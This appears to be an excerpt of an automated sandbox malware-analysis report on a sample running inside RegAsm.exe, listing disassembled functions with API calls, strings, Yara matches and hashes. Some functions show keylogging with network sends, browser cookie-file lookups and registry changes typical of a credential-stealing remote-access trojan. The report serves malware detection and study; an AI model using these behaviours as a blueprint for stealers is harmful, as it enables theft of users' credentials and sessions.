                      • GetLastError.KERNEL32(00000000,?,00000000,1000636D,10005713,00000000,?,10002249,?,?,10001D66,00000000,?,?,00000000), ref: 10005B7F
                      • _free.LIBCMT ref: 10005BB4
                      • _free.LIBCMT ref: 10005BDB
                      • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BE8
                      • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BF1
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$_free
                      • String ID:
                      • API String ID: 3170660625-0
                      • Opcode ID: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                      • Instruction ID: a404960836b3e2f032ab47abdd1028028b52a365ddf0c47563f665e512f3cffd
                      • Opcode Fuzzy Hash: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                      • Instruction Fuzzy Hash: 5501F47A108A52A7F202E7345C85E1F3AAEDBC55F37220025FD19A615EEF73FD024164
                      Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044829E
                      • _free.LIBCMT ref: 004482D3
                      • _free.LIBCMT ref: 004482FA
                      • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448307
                      • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448310
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$_free
                      • String ID:
                      • API String ID: 3170660625-0
                      • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                      • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                      • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                      • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                      Function 0041C1DD Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                      • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                      • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                      • GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 0041C228
                      • CloseHandle.KERNEL32(00000000), ref: 0041C233
                      • CloseHandle.KERNEL32(00000000), ref: 0041C23B
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseHandleOpen$FileImageName
                      • String ID:
                      • API String ID: 2951400881-0
                      • Opcode ID: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                      • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                      • Opcode Fuzzy Hash: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                      • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                      Function 10001E89 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                      • lstrcatW.KERNEL32(?,?), ref: 10001EAC
                      • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                      • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                      • lstrcatW.KERNEL32(?,100010DF), ref: 10001ED3
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$lstrcat
                      • String ID:
                      • API String ID: 493641738-0
                      • Opcode ID: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                      • Instruction ID: f5d9027fafc921fe84ae6627056796c55de3fa1ad923a59450c5185d8ca5453c
                      • Opcode Fuzzy Hash: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                      • Instruction Fuzzy Hash: D8F082261002207AF621772AECC5FBF7B7CEFC6AA0F04001AFA0C83194DB54684292B5
                      Function 100091B8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 100091D0
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 100091E2
                      • _free.LIBCMT ref: 100091F4
                      • _free.LIBCMT ref: 10009206
                      • _free.LIBCMT ref: 10009218
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                      • Instruction ID: a08e021c65853776c99c3fd86fadada58ae96d962e635c5153d22f52a77de1c5
                      • Opcode Fuzzy Hash: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                      • Instruction Fuzzy Hash: 77F06DB161C650ABE664DB58EAC6C4B7BEDFB003E13608805FC4DD7549CB31FC809A64
                      Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 004509D4
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 004509E6
                      • _free.LIBCMT ref: 004509F8
                      • _free.LIBCMT ref: 00450A0A
                      • _free.LIBCMT ref: 00450A1C
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                      • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                      • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                      • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                      Function 10005351 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 1000536F
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 10005381
                      • _free.LIBCMT ref: 10005394
                      • _free.LIBCMT ref: 100053A5
                      • _free.LIBCMT ref: 100053B6
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                      • Instruction ID: ba906e9feca9bc6e71cd1aa5ebacb8f64a9f241ffe6b13fedf7f16c4e4854dfa
                      • Opcode Fuzzy Hash: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                      • Instruction Fuzzy Hash: 38F0F478C18934EBF741DF28ADC140A3BB5F718A91342C15AFC1497279DB36D9429B84
                      Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 00444066
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00444078
                      • _free.LIBCMT ref: 0044408B
                      • _free.LIBCMT ref: 0044409C
                      • _free.LIBCMT ref: 004440AD
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                      • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                      • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                      • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                      Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                      • _strpbrk.LIBCMT ref: 0044E738
                      • _free.LIBCMT ref: 0044E855
                        • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
                        • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BD3D
                        • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BD44
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                      • String ID: *?$.
                      • API String ID: 2812119850-3972193922
                      • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                      • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                      • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                      • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                      Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                      Download Yara Rule
                      APIs
                      • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                        • Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,01EC4950,00000010), ref: 004048E0
                        • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C52A
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateFileKeyboardLayoutNameconnectsend
                      • String ID: XQG$NG$PG
                      • API String ID: 1634807452-3565412412
                      • Opcode ID: 9cefce376da0e5a625bd0361d63876b75821adb98292e5a76fa33c4dbf6a1e63
                      • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                      • Opcode Fuzzy Hash: 9cefce376da0e5a625bd0361d63876b75821adb98292e5a76fa33c4dbf6a1e63
                      • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                      Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                      Download Yara Rule
                      APIs
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                      • String ID: `#D$`#D
                      • API String ID: 885266447-2450397995
                      • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                      • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                      • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                      • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                      Function 10004BDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 10004C1D
                      • _free.LIBCMT ref: 10004CE8
                      • _free.LIBCMT ref: 10004CF2
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$FileModuleName
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      • API String ID: 2506810119-1068371695
                      • Opcode ID: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                      • Instruction ID: 12f2da1a58c9c923660241357757b5dddff340f6d61411cdc8d35d961f62cc7a
                      • Opcode Fuzzy Hash: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                      • Instruction Fuzzy Hash: EB31A0B5A01258EFFB51CF99CC81D9EBBFCEB88390F12806AF80497215DA709E41CB54
                      Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 00443475
                      • _free.LIBCMT ref: 00443540
                      • _free.LIBCMT ref: 0044354A
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$FileModuleName
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      • API String ID: 2506810119-1068371695
                      • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                      • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                      • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                      • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                      Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                        • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,63791986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                      • String ID: /sort "Visit Time" /stext "$0NG
                      • API String ID: 368326130-3219657780
                      • Opcode ID: b7884868ea246cbc2bbf108ff3085d740a30eed682d7e775257a7e51d8f3349b
                      • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                      • Opcode Fuzzy Hash: b7884868ea246cbc2bbf108ff3085d740a30eed682d7e775257a7e51d8f3349b
                      • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                      Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                      Download Yara Rule
                      APIs
                      • SystemParametersInfoW.USER32 ref: 0041CAD7
                        • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                        • Part of subcall function 0041376F: RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                        • Part of subcall function 0041376F: RegCloseKey.KERNEL32(?), ref: 004137B1
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateInfoParametersSystemValue
                      • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                      • API String ID: 4127273184-3576401099
                      • Opcode ID: 4f71dd23c4f760eabc23ec2adbc3392ecf1bb7076945bb966ce08e22b16a15c0
                      • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                      • Opcode Fuzzy Hash: 4f71dd23c4f760eabc23ec2adbc3392ecf1bb7076945bb966ce08e22b16a15c0
                      • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                      Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                      Download Yara Rule
                      APIs
                      • _wcslen.LIBCMT ref: 004162F5
                        • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                        • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                        • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                        • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _wcslen$CloseCreateValue
                      • String ID: !D@$okmode$PG
                      • API String ID: 3411444782-3370592832
                      • Opcode ID: 33627434b7f82304c1ded9d3bb7774abf103e710ec097a6938a3706c33e36768
                      • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                      • Opcode Fuzzy Hash: 33627434b7f82304c1ded9d3bb7774abf103e710ec097a6938a3706c33e36768
                      • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                      Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C688
                      Strings
                      • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                      • User Data\Default\Network\Cookies, xrefs: 0040C603
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                      • API String ID: 1174141254-1980882731
                      • Opcode ID: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                      • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                      • Opcode Fuzzy Hash: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                      • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                      Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C757
                      Strings
                      • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                      • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                      • API String ID: 1174141254-1980882731
                      • Opcode ID: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                      • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                      • Opcode Fuzzy Hash: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                      • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                      Function 0040B164 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                      • wsprintfW.USER32 ref: 0040B1F3
                        • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: EventLocalTimewsprintf
                      • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                      • API String ID: 1497725170-1359877963
                      • Opcode ID: 4b61bdf1e4649f408c1e010907dbc1ed31b9c64e2b29a313bfb4962842f39c84
                      • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
